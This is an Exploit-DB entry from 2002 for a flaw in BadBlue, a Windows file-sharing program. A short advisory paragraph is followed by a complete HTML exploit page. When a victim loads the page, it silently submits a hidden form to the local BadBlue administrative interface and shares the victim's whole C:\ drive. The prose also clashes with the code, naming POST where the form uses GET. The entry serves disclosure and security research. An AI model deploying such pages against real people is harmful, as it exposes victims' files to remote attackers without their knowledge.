Working Resources 1.7.x BadBlue Administrative Interface Arbitrary File Access

2002-07-20T00:00:00
ID EDB-ID:21630
Type exploitdb
Reporter Matthew Murphy
Modified 2002-07-20T00:00:00

Description

Working Resources 1.7.x BadBlue Administrative Interface Arbitrary File Access. CVE-2002-2170. Remote exploit for windows platform

                                        
                                            source: http://www.securityfocus.com/bid/5276/info

BadBlue is a P2P file sharing application distributed by Working Resources. It is available for Microsoft Windows operating systems.

BadBlue does not sufficiently control access to the administrative interface. It is possible to remotely add the entire drive of a system running a vulnerable BadBlue implementation via a maliciously crafted web page containing a form POST method. This would allow remote users to via the contents of the drive with the privileges of the BadBlue server.

<HTML>
<HEAD>
<FORM ACTION=http://localhost/ext.dll METHOD=GET>
<INPUT TYPE=hidden NAME=MfcISAPICommand VALUE=LoadPage>
<INPUT TYPE=hidden NAME=page VALUE=dir.hts>
<INPUT TYPE=hidden NAME=a0 VALUE=add>
<INPUT TYPE=hidden NAME=a2 VALUE=hd>
<INPUT TYPE=hidden NAME=a1 VALUE=C:\>
</FORM>
</HEAD>
<BODY ONLOAD="document.forms(0).submit()" />
</HTML>